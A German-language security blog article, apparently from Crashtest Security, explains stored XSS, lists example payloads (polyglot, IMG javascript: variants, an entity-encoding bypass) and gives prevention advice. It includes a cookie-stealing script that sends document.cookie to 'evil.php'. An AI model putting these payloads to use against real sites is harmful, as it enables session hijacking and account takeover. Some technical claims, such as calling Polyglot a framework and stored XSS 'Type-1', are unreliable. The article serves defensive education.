EN

Was ist Stored XSS und wie kann man es verhindern

In diesem Artikel:

Bei einem Cross-Site-Scripting-Angriff (XSS) beeinträchtigt der Angreifer die Interaktion der Benutzer mit einer Webanwendung, indem er bösartigen Code einschleust. Dieser Code manipuliert den Webserver, damit er auf Benutzeranfragen mit beschädigtem JavaScript antwortet. Es gibt drei Hauptarten von XSS-Angriffen: Reflektierte XSS, Stored XSS und DOM-basierte Cross-Site-Scripting-Angriffe

In diesem Beitrag geht es um Stored XSS-Angriffe und wie man sie verhindern kann. 

Gespeicherte Cross-Site Scripting-Angriffe erklärt 

Bei einem gespeicherten XSS-Angriff empfängt die anfällige Webanwendung vom Benutzer bereitgestellte Eingaben aus nicht vertrauenswürdigen Quellen und speichert sie. Dieser bösartige Inhalt wird auch in die später vom Server gesendeten HTTP-Antworten aufgenommen. Um einen Stored XSS-Angriff durchzuführen, müssen Hacker lediglich eine Sicherheitslücke in der Backend-Anwendung finden, die die Ausführung bösartiger Anfragen ermöglicht. Dadurch wird die Ausnutzung erleichtert, da die Hacker keine externen Methoden entwickeln müssen, um nicht vertrauenswürdige Eingaben an den Zielanwendungsserver zu übermitteln. 

Gespeicherte XSS-Angriffe, auch bekannt als Typ-1- oder persistente XSS-Angriffe, beruhen in der Regel auf nicht sanitisierten Benutzereingaben für Skripte, die dauerhaft auf den Zielservern gespeichert sind. Da diese Angriffe böswilligen Benutzern die Kontrolle darüber ermöglichen, wie der Browser ein Skript ausführt, können sie in der Regel eine vollständige Übernahme des Benutzerkontos ermöglichen. Die Auswirkungen eines erfolgreichen Angriffs reichen von einer leichten bis hin zu einer vollständigen Kompromittierung, je nachdem, welche Privilegien dem betroffenen Benutzer zugewiesen wurden. Einige Folgen erfolgreicher XSS-Angriffe sind: 

  • Session-Hijacking-Angriffe 
  • Privilegienerweiterung 
  • Offenlegung von Benutzerdateien/Daten 
  • Installation von Malware/Trojaner-Programmen 
  • Umleitung von Nutzern auf vertrauenswürdig aussehende Klon-Anmeldeformulare für Phishing-Versuche 
  • Spoofing von Webinhalten 

Gespeicherter  XSS unterscheidet sich von reflektiertem XSS. Bei reflektiertem XSS führt der Server den bösartigen Inhalt aus und fügt ihn nur in die unmittelbare HTTP-Antwort ein, während bei gespeichertem XSS der beliebige Code gespeichert wird. Im Gegensatz zu anderen XSS-Angriffen, bei denen der Benutzer zum Zeitpunkt der Einspeisung des bösartigen Codes angemeldet sein muss, wird die gespeicherte XSS-Nutzlast im Webserver gespeichert und vom Browser für jeden Benutzer, der sich anmeldet, ausgeführt, was diese Art von Angriff gefährlicher macht. 

Hacker haben es schon lange auf gespeicherte XSS-Schwachstellen abgesehen, da der in der Zielanwendung gespeicherte bösartige Code eine enorme Reichweite hat. 

Gespeicherte XSS-Payloads 

Ein persistenter Angriff zielt darauf ab, bösartigen Code in beliebte Eingabepunkte zu injizieren, die von Benutzern bereitgestellt werden, wie z. B. Kommentare in Blogbeiträgen, Felder für Benutzernamen und Messageboards. Die Nutzlast ermöglicht es dem böswilligen Benutzer, XSS-Filter und Eingabevalidierungsprüfungen zu umgehen. Die Kenntnis dieser Payloads ist für Anwendungssicherheitsexperten, die die gespeicherte XSS-Schwachstelle testen und entschärfen wollen, unerlässlich. Einige dieser Payloads sind: 

Die Polyglot-basierte XSS-Nutzlast 

Diese Art von Angriff zielt auf eine Schwachstelle in Polyglot ab – ein Framework, das die Ausführung von Code in mehreren Kontexten in Rohform ermöglicht. Dies schafft einen Angriffsvektor für XSS-Injektionen, da Angreifer Polyglot-Skripte verwenden können, um Content Security Policies (CSPs) zu umgehen. Ein typisches polyglottes XSS-Skript würde etwa so aussehen: 

javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Die JavaScript-Anweisung für Image XSS 

Diese Nutzlast ermöglicht die Ausführung von JavaScript im Kontext eines Bildes. Angreifer nutzen diese Strategie hauptsächlich, um bösartige Aktivitäten auf Benutzerprofilseiten und anderen Bildlinks durchzuführen. Das Skript würde wie folgt aussehen: 

<IMG SRC="javascript:alert('XSS');"><IMG SRC="javascript:alert('XSS');">

Umgehung der HTML-Entity-Codierung 

Die HTML-Entity-Codierung bildet eine typische erste Verteidigungslinie gegen Cross-Site-Scripting-Schwachstellen, indem sie eine Validierung der Eingabedaten vornimmt. Bösewichte entwickeln oft Skripte, um die HTML-Kodierung zu umgehen oder zu deaktivieren, so dass sie ungeprüfte Eingaben an den Server übermitteln können. Der Code zur Umgehung der HTML-Entität würde etwa so aussehen: 

<IMG SRC=javascript:alert(&quot;XSS&quot;)> 

Unzulässige IMG-Tags 

Diese Angriffs-Nutzlast beruht auf einem fehlerhaften Browser-Rendering, um eine Angriffsfläche in einem <IMG>-Tag zu schaffen. Dies ermöglicht es ihnen, eine JavaScript-Ereignismethode in alle Objekte einzufügen, die innerhalb von Bild-Tags erstellt werden. Das nachstehende Codesegment zeigt ein missgebildetes IMG-Tag, das zum Testen und Ausnutzen gespeicherter XSS-Schwachstellen verwendet wird. Das Skript würde ähnlich wie folgt aussehen: 

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\> 

Beispiele für gespeicherte XSS-Angriffe 

Zu den Möglichkeiten, gespeicherte Cross-Site-Scripting-Schwachstellen auszunutzen, gehören: 

Angreifer können ein Sitzungscookie von angemeldeten, authentifizierten Benutzern stehlen. Sie injizieren clientseitige Skripte, die den Inhalt des Authentifizierungs-Cookies des Dokuments als Escape übergeben. Dazu müssen sie nur den folgenden Code in jedes Formular einfügen, das Benutzereingaben akzeptiert, z. B. in Benutzerprofile, private Nachrichten oder Benutzerforen: 

<SCRIPT type="text/javascript"> var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT> 

Diese Skriptausführung schreibt die Cookie-Details in die Datei evil.php, wo Angreifer das Ergebnis des Skripts überprüfen können, um die Identität des Benutzers anzunehmen. 

Manipulation von Fehlerseiten 

Angreifer können auch auf Fehlermeldungen wie die klassische 404-Fehlerseite abzielen, die den Benutzer über nicht existierende Seiten informiert, um XSS-Code einzuschleusen. Angenommen, die Seite, die den Benutzer über die fehlende Seite informiert, läuft auf einem ähnlichen Code wie: 

<html> <body> <? php print "Nicht gefunden:". urldecode($_SERVER["REQUEST_URI"]); ?> </body> </html> 

Wenn also ein Benutzer eine nicht existierende Webseite anklickt, die sich unter http://darwin.test/non_existent_file befindet, würde er die Antwort erhalten: Not found: /nicht_existierende_datei 

Angreifer können diese Fehlerseite so manipulieren, dass sie einen schädlichen Code enthält: http://darwin.test/<script>alert(„TEST“);</script>, die HTTP-Antwort ist jetzt eine Fehlerseite, aber sie würde auch den schädlichen JavaScript-Code enthalten <script>alert(„TEST“);</script> 

Da die Skript-Tags nun erfolgreich eingeschleust wurden, können Benutzer dazu verleitet werden, auf den bösartigen Link in einer Phishing-E-Mail oder mit Social-Engineering-Tricks zu klicken. 

XSS Prävention Guide

Leitfaden

Cross-Site-Scripting (XSS) ist einer der bekanntesten Injektionsangriffe. Erfahren Sie, wie Sie diese Angriffsart erkennen und verhindern können.

Mehr erfahren

Verhindern von gespeicherten XSS-Schwachstellen 

Im Folgenden finden Sie Möglichkeiten, wie Sie Hacker daran hindern können, die gespeicherte XSS-Schwachstelle in einer Webanwendung auszunutzen: 

Korrekte Eingabevalidierung durchführen 

Die Validierung von Eingaben ist der wichtigste Schritt, um jegliche Art von Injektionsangriff zu verhindern. Ordnungsgemäße Eingabevalidierungskontrollen müssen auf jeder Ebene der Anwendung durchgeführt werden, um sicherzustellen, dass nur vertrauenswürdige Benutzereingaben akzeptiert werden. Die Verschlüsselung von Eingaben vor der Übermittlung an den Browser stellt sicher, dass Angreifer die vom Benutzer eingegebenen Daten nicht manipulieren können. 

Die Webentwickler sollten außerdem auf jeder Stufe des Software-Lebenszyklus Integritätsprüfungen durchführen, um sicherzustellen, dass die Zielanwendung keine gefährlichen Inhalte in ihrer Antwort enthält. Dazu gehören auch Inhaltsfilterprüfungen, um sicherzustellen, dass die Eingaben der Benutzer die Geschäftsregeln nicht missbrauchen und dass die Datenparameter innerhalb der zulässigen Bereiche bleiben. 

Verwenden Sie einen Schwachstellen-Scanner 

Es ist schwierig, manuell auf gespeicherte XSS-Schwachstellen zu testen. Ein automatischer Schwachstellen-Scanner kann alle Dateneingabe- und -ausgabepunkte prüfen, die zur Einspeisung und Ausführung bösartiger Skripts verwendet werden. Die Crashtest Security Suite wird mit einem Schwachstellen-Scanner ausgeliefert, der dabei hilft, XSS-Angriffe zu verhindern, indem er die Beziehungen zwischen Eingabe- und Antwort-Ausgangspunkten abbildet, um sicherzustellen, dass nur gültige Skripts vom Server akzeptiert und im Browser ausgeführt werden. Crashtest Security enthält auch eine automatisierte Penetrationstest-Lösung, um gespeicherte XSS-Schwachstellen zu beheben, bevor sie in die Produktion gelangen. 

Durchsetzung einer starken Content Security Policy (CSP) 

Alle modernen Browser unterstützen CSPs, mit denen Entwickler den Browsern mitteilen, aus welchen Quellen JavaScript und andere Ressourcen geladen werden dürfen. Da gespeicherte XSS-Angriffe darauf beruhen, dass der Angreifer bösartige Inline-<script>-Tags in den <html>-Tag der Seite einfügt, verhindern CSPs Angriffe, indem sie die Same-Origin-Policy umsetzen. Die Sicherheitsrichtlinie für Inhalte wird als <meta>-Tag im <head>-Element der Seite festgelegt. 

Dynamische Inhalte ersetzen 

Gespeicherte XSS-Angriffe nutzen Schwachstellen bei der Bereitstellung dynamischer Inhalte aus, die im Backend der Anwendung gespeichert sind. Erstens müssen registrierte Benutzer davon abgehalten werden, rohes HTML in Eingabeformulare einzugeben. Außerdem sollten alle dynamischen Inhalte und Sonderzeichen escaped werden, damit der Browser sie nicht als rohen HTML-Quellcode, sondern als Inhalt von HTML-Tags behandelt.

Lesen Sie unseren Leitfaden zur Vermeidung von XSS-Schwachstellen

Häufig gestellte Fragen

Was kann man mit Stored XSS machen?

Durch die willkürliche Ausführung von JavaScript können Angreifer je nach den gehackten Konten und der Sensibilität der offengelegten Daten unterschiedlich großen Schaden anrichten. Einige zu erwartende Folgen von Stored XSS-Angriffen sind:

  • Identitätsdiebstahl
  • Website-Vandalismus
  • Denial-of-Service-Angriffe
  • Session-Hijacking
  • Verbreitung von Malware über Phishing-E-Mails, Online-Pinnwände und soziale Medien
  • Finanzieller Betrug
  • Datenschutzverletzungen

Was sind die Unterschiede zwischen DOM-basiertem und persistentem XSS?

Bei DOM-basiertem XSS geben Angreifer bösartigen Code in den Document Object Model (DOM)-Teil ein, der von der clientseitigen Umgebung unsicher verarbeitet wird. Bei dieser Art von Angriff kann es sich um persistentes oder nicht-persistentes XSS handeln. Wenn Angreifer die Backend-Anwendung ausnutzen, um einen Teil der oben genannten Antwort zu kontrollieren, wird das DOM-basierte XSS als persistentes XSS bezeichnet. 

Testen Sie unseren XSS-Scanner kostenlos

Erhalten Sie jetzt kostenlos einen schnellen Sicherheitsbericht für Ihre Website

Wir analysieren derzeit http://example.com
Wir scannen derzeit http://example.com
Status des Scans: In Bearbeitung
Scan target: http://example.com/laskdlaksd/12lklkasldkasada.a
Datum: 27/05/2022
Crashtest Security Suite prüft auf:
Information disclosure Known vulnerabilities SSL misconfiguration Open ports
Scanauftrag ausfüllen
Bitte geben Sie Ihre Daten ein, um die schnelle Sicherheitsüberprüfung zu erhalten.
Ein Sicherheitsspezialist analysiert gerade Ihren Scan-Bericht.
Bitte geben Sie Ihre Telefon-/Handynummer an, damit wir Ihre Identität überprüfen können:
Ihren Bericht anfordern
Vielen Dank.
Wir haben Ihren Antrag erhalten.
Sobald Ihr Sicherheitsaudit fertig ist, werden wir Sie benachrichtigen.